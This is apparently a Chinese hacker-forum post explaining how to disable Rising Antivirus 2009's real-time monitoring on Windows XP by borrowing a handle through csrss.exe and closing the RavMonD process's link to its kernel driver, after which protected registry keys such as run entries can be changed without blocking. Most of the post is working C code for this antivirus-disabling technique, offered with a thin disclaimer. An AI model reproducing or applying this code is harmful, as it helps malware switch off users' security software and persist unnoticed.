只是一个小小的思路,老鸟自行飘过,呵呵
我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。
原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系, 则
瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,
从而没有挑战性了 ,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方,
比如run子键 。下面上测试代码:
代码:
int main(int argc,char *argv[]) { if(argc != 4) puts("usage ccon csrss.pid prmd.handle hooksys.handle"); else { int pid = atoi(argv[1]); int hprmd = atoi(argv[2]); int hobj = atoi(argv[3]); if(!SetDebugPrivilege(true)) puts("SetDebugPrivilege Failed!"); HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if(!hcs) { puts("Open Csrss.exe Failed"); PrintErr(GetLastError()); } else //直接打开RavMonD进程会失败的,so采用迂回战术 { HANDLE hprmd_loc; if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),\ &hprmd_loc,PROCESS_ALL_ACCESS,false,0)) { puts("Get hprmd_loc Failed!"); PrintErr(GetLastError()); } else //关闭hooksys的句柄,打破其与内核的联系 { HANDLE hobj_loc; if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,\ GetCurrentProcess(),&hobj_loc,0,false,\ DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)) { puts("Get hobj_loc Failed!"); PrintErr(GetLastError()); } else { if(!CloseHandle(hobj_loc)) { puts("Close hobj_loc Failed"); } else puts("We Success Finally!!!"); } } } } return 0; }
中的关键内容, 我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用
户是否允许修改,但是这时即使 选择否,同样可以修改成功,而且以后的修改瑞星不会再
提示了。
其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然
仍然防不住内核 中的攻击,进入ring0还是可以为所欲为。
我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功